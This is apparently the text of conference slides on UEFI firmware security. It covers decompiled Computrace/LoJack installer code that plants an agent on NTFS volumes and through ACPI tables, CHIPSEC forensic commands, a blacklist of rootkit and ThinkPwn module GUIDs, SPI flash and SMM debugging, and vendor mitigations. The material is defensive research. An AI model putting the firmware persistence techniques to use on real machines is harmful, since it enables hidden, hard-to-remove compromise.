Computrace/LoJack

Computrace/LoJack

Computrace/LoJack

AbsoluteComputraceInstaller_PE32_image_section_body.bin

Computrace V90.945

Embedded agent

```
\SystemRoot\System32\rpcnetp.exe•
\SystemRoot\System32\AUTOCHK.EXE:BAK•
SystemRoot•
LocalSystem•
Start•
\??\C:•
ErrorControl•
ntdll•
\SystemRoot\System32\AUTOCHK.BAK•
ObjectName•
\SystemRoot\SysWOW64\rpcnetp.exe•
%SystemRoot%\System32\rpcnetp.exe•
\Registry\Machine\System\CurrentControlSet\Services\rpcnetp
```

ComputraceAgentInstaller

- Implements custom NTFS parsing functionality to install the “agent” onto NTFS volumes

```
struct_1 *install_agent_on_system_volume()
{
  v0 = 0;
  get_block_protocol(0, &v3);
  bld_str_cat_2(&v2, &aMulti0Disk0Rdi[35], "\\System32");// WINDOWS\System32
  do
    result = find_file_volume(0i64, --v0, &v2, store_image_in_file);
  while ( v0 > -v3 );
  aMulti0Disk0Rdi[33] = 0;
  return result;
}
```

```
__int64 InstallComputraceAgent()
{
  install_agent_on_system_volume();
  find_file_volume(0i64, 0i64, "\\BOOT.INI", install_agent_on_volume);
  find_file_volume(0i64, 0i64, "\\MSDOS.SYS", install_agent_on_volume);
  return 0i64;
}
```

ComputraceAgentInstaller

- Installs custom ACPI Configuration Table

ComputraceAgentInstaller

- Installs custo e

BootServices->nstallAcpiTable

```
*&new_table_end->OemId[0] = '-TBA';
*&new_table_end->OemTableId[0] = '-TBA';
new_table_end->Revision = 1;
new_table_end->Checksum = 0;
new_table_end->Signature = 'TBPW';
*&new_table_end->OemTableId[4] = 'TBPW';
*&new_table_end->OemId[4] = 'TN';
new_table_end->OemRevision = 1;
new_table_end->CreatorId = 'WTBA';
new_table_end->CreatorRevision = 0x20120402;
args = &new_table_end->Args;
new_table_end->HandoffMemSize = 0x8570;
_agent_buffer = agent_buffer;
new_table_end->CountryLayout = 1;
new_table_end->HandoffMemLocation = _agent_buffer;
new_table_end->ContentType = 1;
v17 = &new_table_end->Args + 2 * (arg_len & 0x7F);
if ( v17 > &new_table_end->Args )
{
  v18 = &arg_len;
  do
  {
    v19 = *v18++;
    *args = v19;
    args += 2;
  }
  while ( args <= v17 );
}
```

BIOS Update Issues

Virus Warning : Disabled
CPU L1 Cache : Enabled
CPU L2 Cache : Enabled
CPU L2 Cache ECC Checking : Enabled
Quick Power On Self Test : Enabled
Boot Sequence : A,C,SCSI
Swap Floppy Drive : Disabled
Boot Up Floppy Seek : Disabled
Boot Up NumLock Status : On
Typematic Rate Setting : Enabled
Typematic Rate (Chars/Sec) : 30
Typematic Delay (Msec) : 250
Security Option : Setup
PCI/VGA Palette Snoop : Disabled
OS Select For DRAM > 64MB : Non-OS2
HDD S.M.A.R.T. Capability : Disabled
ESC : Quit
F1 : Help
F5 : Old Values
F6 : Load Fail-Safe Settings
F7 : Load Optimal Settings

Item Help
Memory Frequency For (Auto)
System BIOS Cacheable [Enabled]
Video BIOS Cacheable [Disabled]
Memory Hole At 15M-16M [Disabled]
AGP Aperture Size (MB) [128]
Init Display First [PCI Slot]
On-Chip VGA [Enabled]
On-Chip Frame Buffer Size [8MB]
Onboard LAN Control [Enabled]

> Standard CMOS Features
> Advanced BIOS Features
> Advanced Chipset Features
> Integrated Peripherals
> Power Management Setup
> PnP/PCI Configurations
> PC Health Status
Frequency/Voltage Control
Load Fail-Safe Defaults
Load Optimized Defaults
Set Supervisor Password
Set User Password
Save & Exit Setup
Exit Without Saving
Esc : Quit
F10 : Save & Exit Setup
Virus Protection, Boot Sequence...

Phoenix-BIOS Setup Utility
Main Advanced Security Boot Exit
Item Specific Help
System Time:
System Date:
Legacy Diskette A:
Legacy Diskette B:
Primary Master
Primary Slave
Secondary Master
Secondary Slave
Keyboard Features
System Memory:
Extended Memory:
Boot-time Diagnostic Screen:

Phoenix - Award WorkstationBIOS CMOS Setup Utility
Advanced Chipset Features
DRAM Clock/Timing Control
AGP & P2P Bridge Control
Prefetch Caching
System BIOS Cacheable
VIDEO RAM Cacheable
Memory Hole at 15M-16M
Item Help
Menu Level

BIOS SETUP UTILITY
Main Advanced Power Boot Exit
Setup Warning
Setting items on this menu to incorrect values may cause your system to malfunction.
Primary Video Adapter
Onboard Video Memory Size
PS/2 Mouse
Onboard IDE/SATA Adapters
Onboard IDE/SATA Configuration
USB Legacy Mode Support
Onboard LAN
Onboard LAN Boot ROM
Onboard 1394
Onboard Audio

OVERCLOCKED

Phoenix-BIOS Setup Utility
Main Advanced Security Power Boot Exit
Item Specific Help
Set User Password
Set Supervisor Password
Supervisor Password controls access to the setup utility.

AwardBIOS Setup Utility
Advanced
I/O Device Configuration
Item Specific Help
Onboard AC97 Modem Controller [Disabled]
Onboard AC97 Audio Controller [Auto]
Onboard FDC Swap A & B [No Swap]
Floppy Disk Access Control
Disabled
Auto
Onboard Serial Port 1
Onboard Serial Port 2
UART2 Use Standard Infrared
Onboard Parallel Port [378H/IRQ7]
Parallel Port Mode [ECP+EPP]
ECP DMA Select [3]
Onboard Game Port [200H-207H]
<Enter> to select.

Award Modular BIOS v4.51PG, An Energy Star Ally
Copyright (C) 1984-98, Award Software, Inc.
ASUS P2B-DS ACPI BIOS Revision 1012B
Pentium III 650Mhz Processor
Memory Test : 262144K OK
Press DEL to run Setup
08/05/00-i440BX-P2B-DS

BIOS Update Validation Routine

Dell Client BIOS: Signed Firmware Update: http://en.community.dell.com/techcenter/extras/m/white_papers/20287278/

BIOS Update Rollback Protection

Dell Client BIOS: Signed Firmware Update: http://en.community.dell.com/techcenter/extras/m/white_papers/20287278/

Lenovo BIOS Update on MS Win10 with Device Guard

Forensic Approaches

GOOD OR BAD BIOS

Firmware Forensics with CHIPSEC

Live system firmware analysis

```
chipsec_util spi info
chipsec_util spi dump rom.bin
chipsec_util spi read 0x700000 0x100000 bios.bin
chipsec_util uefi var-list
chipsec_util uefi var-read db
    D719B2CB-3D3A-4596-A3BC-DAD00E67656F db.bin
```

Offline system firmware analysis

```
chipsec_util uefi keys PK.bin
chipsec_util uefi nvram vss bios.bin
chipsec_util uefi decode rom.bin
chipsec_util decode rom.bin
```

https://github.com/chipsec/chipsec

Firmware Forensics with CHIPSEC

https://github.com/chipsec/chipsec/blob/master/chipsec/modules/tools/uefi/blacklist.json

```
{
  "HT_rkloader"      : { "guid": "F50248A9-2F4D-4DE9-86AE-BDA84D07A41C" },
  "HT_rkloader_name" : { "name": "rkloader" },
  "HT_Ntfs"          : { "guid": "F50258A9-2F4D-4DA9-861E-BDA84D07A44C" },
  "HT_Ntfs_name"     : { "name": "Ntfs" },
  "HT_app"           : { "guid": "EAEA9AEC-C9C1-46E2-9D52-432AD25A9B0B" },

  "ThinkPwn_SmmRuntimeProtGuid"      : { "regexp": "\\xA1\\x97\\x68\\xA5 ...\\x9A" },
  "ThinkPwn_SystemSmmRuntimeRt_name" : { "name": "SystemSmmRuntimeRt.efi" },
  "ThinkPwn_SystemSmmRuntimeRt"      : { "guid": "7C79AC8C-5E6C-4E3D-BA6F-C260EE7C172E" },
  "ThinkPwn_SmmRuntime_name"         : { "name": "SmmRuntime" },
  "ThinkPwn_SmmRuntime"              : { "guid": "A56897A1-A77F-4600-84DB-22B0A801FA9A" }
}
```

https://github.com/chipsec/chipsec/blob/master/chipsec/modules/tools/uefi/blacklist.py

chipsec_main.py -i -m tools.uefi.blacklist [-a <fw_image>,<blacklist>]

chipsec_main.py -i --no_driver -m tools.uefi.blacklist -a uefi.rom,blacklist.json

https://github.com/chipsec/chipsec

SMM Memory Forensics

- Diff original and infected SMRAM to hunt for malicious SMI
  - Parse *EFI_SMM_SYSTEM_TABLE* to get SMM memory layout
  - Find all SMI handlers based on *DATABASE_RECORD* signature

- Also another useful information can be extracted from SMRAM:
  - List of SMM drivers
  - List of SMM Protocols

- Kudos to Cr4sh for SMRAM forensic parser

https://github.com/Cr4sh/smram_parse/blob/master/smram_parse.py

How to dump SPI Flash?

SPI Flash Dump – Reading from OS

- SPI Controller
  - Get SPI Base Address Register (refer to ICH/PCH documentation) -- SPIBAR
  - Memory mapped SPI Registers
    - SPIBAR + 0x04: HSFS – Status Register
    - SPIBAR + 0x06: HSFC – Control Register
    - SPIBAR + 0x08: FADDR – Address Register
    - SPIBAR + 0x10: FDATAX – Data Registers

```
[CHIPSEC] reading 0x100000 bytes from SPI Flash starting at FLA = 0x700000
[CHIPSEC] it may take a few minutes (use DEBUG or VERBOSE logger options to see progress)
ERROR: HSFS.FDV is 0, hardware sequencing is disabled
```

SPI Flash Dump – Reading from OS

- SPI Controller
  - Get SPI Base Address Register (refer to ICH/PCH documentation) -- SPIBAR
- Memory-mapped SPI Registers
  - SPIBAR + 0x04: HSFS – Status Register
  - SPIBAR + 0x06: HSFC – Control Register
  - SPIBAR + 0x08: FADDR – Address Register
  - SPIBAR + 0x10: FDATAX – Data Registers

SPI Flash Dump – Reading from OS

SPI Flash Dump – Attacker's Possibilities

HSFC:

Flash SPI SMI# Enable (FSMIE) — R/W. When set to 1, the SPI asserts an SMI# request whenever the Flash Cycle Done (FDONE) bit is 1.

SPI Flash Dump – Attacker's Possibilities

How to dump BIOS firmware directly from chip?

How to dump BIOS firmware directly from chip?

How Debug UEFI Firmware?

QEMU

coreboot

http://wiki.bios.io/doku.php?id=ida_pro_tracing

How Debug UEFI Firmware?

boot

http://wiki.bios.io/doku.php?id=ida_pro_tracing

Intel Virtual Platform

- Perfect simulation of hardware
- Boot after power on, sleep and hibernate
- Dump SMRAM, memory map and other parameters
- Disassembling
- Dynamic check of accesses out of allowable memory regions and SMRAM call-outs

Minnowboard Max

http://wiki.minnowboard.org/

Minnowboard Max

http://wiki.minnowboard.org/

“If you’re good at something, never do it for free.” - Joker

Intel XDP Hardware Debuggers

SMM Debug with Intel System Debugger

Intel(R) System Debugger

File Edit View Run Debug Options Help

How to enter SMM

Sourc | Callsta

Location

<no active call-frames>

Assembler: 0x0900:0x00007FD2 to 0x0900:0x0000815A

Trail	Address	Opcodes	Source
	0x0900:0x00007FEB	07	pop es
	0x0900:0x00007FEC	42	inc dx
	0x0900:0x00007FED	6E	outsb
	0x0900:0x00007FEE	3B 50 E7	cmp dx, word ptr [bx+si*1-0x19]
	0x0900:0x00007FF1	8D	DB 0x8D
	0x0900:0x00007FF2	EB 3F	jmp 0x8033 <>
	0x0900:0x00007FF4	69 EB 7D 51	imul bp, bx, 0x517D
	0x0900:0x00007FF8	03 00	add ax, word ptr [bx+si*1]
	0x0900:0x00007FFA	00 00	add byte ptr [bx+si*1], al
	0x0900:0x00007FFC	00 00	add byte ptr [bx+si*1], al
	0x0900:0x00007FFE	00 00	add byte ptr [bx+si*1], al
	0x0900:0x00008000	BB 99 80	mov bx, 0x8099
	0x0900:0x00008003	66 2E A1 48 FB	mov eax, dword ptr cs:[0xFB48]
	0x0900:0x00008008	66 8B D0	mov edx, eax
	0x0900:0x0000800B	66 8B E8	mov ebp, eax
	0x0900:0x0000800E	66 83 C2 50	add edx, 0x50

Registers

Register	Value	Description
EAX	0x00000014	
EBX	0x00000064	
ECX	0x00000000	
EDX	0x00000064	
ESI	0x00000001	
EDI	0x8BA558E0	
ESP	0x8BA557A0	
EBP	0x00000000	
CS	0x0900	
DS	0x0000	
SS	0x0000	
ES	0x0000	
FS	0x0000	
GS	0x0000	
EIP	0x00008000	
EFL	0x00010002	EFLAGS Register

Console View | Instruction Trace [LBR]

Debugger Commands

```
SPECIAL BREAK 0 ON "SMM Entry Break" : enabled  (S=0,CS=0)
SPECIAL BREAK 1 ON "SMM Exit Break" : enabled  (S=0,CS=0)
INFO: Resetting target, this may take a moment...
execution stopped by "Halt Command break"
xdb> IA32CPU "read msr 0x9e"
ERROR: Couldn't read MSR 0x9e: The CPU faulted when accessing an MSR.
xdb> SET PORT 0xB2 = 1
WARNING: Multiple breaks, context is set to the most interesting.
program stopped: SPECIAL BREAK 'SMM Entry Break' (ID=0) at "0x0900:0x00008000"
```

Vector Registers | Paging | GDT | IDT | Breakpoints | Locals | Hardware Threads

Id	Address	Function	File	S
0		SMM Entry Break		0
1		SMM Exit Break		0

A few words about UEFI Firmware Mitigations

LET'S PUT
A SMILE
ON THAT FACE!

Intel Boot Guard Technology

- Intel Boot Guard – authenticated code module ACM-based secure boot (verified boot) that’s verifies a known and trusted BIOS is booting the platform

- Protect Secure Boot Root of Trust from firmware-based attacks

CPU reset -> bootrom -> ACM -> initial boot block -> BIOS -> boot loader -> OS

Intel Boot Guard Technology

Intel® Device Protection Technology with Boot Guard

http://www.intel.com/content/dam/www/public/us/en/documents/product-briefs/4th-gen-core-family-mobile-brief.pdf

OEM PI Verification Using PI Signed Firmware Volumes

Vol 3, section 3.2.1.1 of PI 1.3 Specification

OEM UEFI 2.4 Secure Boot

Chapter 27.2 of The UEFI 2.4 Specification

https://firmware.intel.com/sites/default/files/STTS003%20-%20SF15_STTS003_100f.pdf

Intel Boot Guard Technology

http://vzimmer.blogspot.com/2013/09/where-do-i-sign-up.html

Don’t miss the talk:

Safeguarding Rootkits: Intel BootGuard

by Aleksandr Ermolov

Main Track at 4pm

Intel BIOS Guard Technology

- BIOS Guard – hardware-assisted authentication and protection against BIOS recovery attacks
- BIOS Guard can reduces SMI handler attack surface because of one signed and authenticated code module (ACM)
- BIOS Guard module is authenticated code module (ACM) executing in internal processor (isolated CPU) before letting the machine boot
- With active BIOS Guard only guarded module is able to modify SPI flash memory
- BIOS Guard can be useful protection from persistent rootkit infection

Intel BIOS Guard Technology

http://www.intel.com/content/dam/www/public/us/en/documents/white-papers/security-technologies-4th-gen-core-retail-paper.pdf

Intel SMI transfer monitor (STM) Technology

- STM - memory isolation approach for SMM
- Based on Intel VT-x and optional TXT support
- In the end, STM becomes very complex solution for SMM protection
- At this moment nobody from known BIOS vendors doesn't use STM approach ☹

https://firmware.intel.com/content/smi-transfer-monitor-stm

Windows SMM Security Mitigation Table (WSMT)

Field	Byte length	Byte offset	Description
ACPI Standard Header			
Signature	4	0	Signature for the WSMT
Length	4	4	Length, in bytes, of the WSMT. Must be 40 for Revision 1.
Revision	1	8	1
Checksum	1	9	Entire table, which must sum to zero
OEMID	6	10	Original equipment manufacturer (OEM) identifier (ID)
OEM Table ID	8	16	Manufacturer model ID
OEM Revision	4	24	OEM revision for supplied OEM table ID
Creator ID	4	28	Vendor ID of the ASL compiler utility that created the table
Creator Revision	4	32	Revision of the ASL compiler utility that created the table
Protection Flags	4	36	**Container of a bitmask of the system implemented WSMT protections. Bits in this field represent that certain protections/enforcements are enabled and active for firmware executing in SMM context after ExitBootServices(). See Table 2 for a detailed description of this field.**

https://msdn.microsoft.com/en-us/windows/hardware/drivers/bringup/acpi-system-description-tables#wsmt

Windows SMM Security Mitigation Table (WSMT)

Length	Bit offset	Description
1	0	FIXED_COMM_BUFFERS If set, expresses that for all synchronous SMM entries, SMM will validate that input and output buffers lie entirely within the expected fixed memory regions.
1	1	COMM_BUFFER_NESTED_PTR_PROTECTION If set, expresses that for all synchronous SMM entries, SMM will validate that input and output pointers embedded within the fixed communication buffer only refer to address ranges that lie entirely within the expected fixed memory regions.
1	2	**SYSTEM_RESOURCE_PROTECTION** **Firmware setting this bit is an indication that it will not allow reconfiguration of system resources via non-architectural mechanisms.**
	31:3	Reserved; must return 0 when read.

https://msdn.microsoft.com/en-us/windows/hardware/drivers/bringup/acpi-system-description-tables#wsmt

```c
/** @file
  Defines Windows SMM Security Mitigation Table
  @ https://msdn.microsoft.com/windows/hardware/drivers/bringup/acpi-system-description-tables#wsmt

  Copyright (c) 2016, Intel Corporation. All rights reserved.<BR>
  This program and the accompanying materials
  are licensed and made available under the terms and conditions of the BSD License
  which accompanies this distribution.  The full text of the license may be found at
  http://opensource.org/licenses/bsd-license.php

  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.

**/


#ifndef _WINDOWS_SMM_SECURITY_MITIGATION_TABLE_H_
#define _WINDOWS_SMM_SECURITY_MITIGATION_TABLE_H_

#include <IndustryStandard/Acpi.h>

#define EFI_ACPI_WINDOWS_SMM_SECURITY_MITIGATION_TABLE_SIGNATURE  SIGNATURE_32('W', 'S', 'M', 'T')

#pragma pack(1)

#define EFI_WSMT_TABLE_REVISION  1

typedef struct {
  EFI_ACPI_DESCRIPTION_HEADER Header;
  UINT32                      ProtectionFlags;
} EFI_ACPI_WSMT_TABLE;

#define EFI_WSMT_PROTECTION_FLAGS_FIXED_COMM_BUFFERS                  0x1
#define EFI_WSMT_PROTECTION_FLAGS_COMM_BUFFER_NESTED_PTR_PROTECTION    0x2
#define EFI_WSMT_PROTECTION_FLAGS_SYSTEM_RESOURCE_PROTECTION           0x4

#pragma pack()

#endif
```

https://github.com/tianocore/edk2/blob/master/MdePkg/Include/IndustryStandard/WindowsSmmSecurityMitigationTable.h

ThinkPad Setup

Security

Device Guard	Item Specific Help
Device Guard [Enabled]	Setup feature to support Microsoft(R) Device Guard. To complete the configuration of Device Guard, Supervisor Password must be set.

F1	Help	↑↓	Select Item	+/-	Change Values	F9	Setup Defaults
Esc	Exit	←→	Select Menu	Enter	Select ▶ Sub-Menu	F10	Save and Exit

UEFI/Legacy Boot	[UEFI Only]
- CSM Support	[No] * Unselectable for Secure Boot
Boot Mode	[Quick]
Option key Display	[Enabled]
Boot device List F12 Option	[Enabled]
Boot Order Lock	[Enabled] * Unselectable for Device Guard

F1 Help ↑↓ Select Item +/- Change Values

ThinkPad Setup

Security

Secure Boot Configuration

Secure Boot	[Enabled]
Platform Mode	User Mode
Secure Boot Mode	Standard Mode
Reset to Setup Mode	[Enter]
Restore Factory Keys	[Enter]
Clear All Secure Boot Keys	[Enter]

* Unselectable for Device Guard

nostarch.com/rootkits

Thank *ention!*

Alex Matrosov
@matrosov

Eugene Rodionov
@vxradius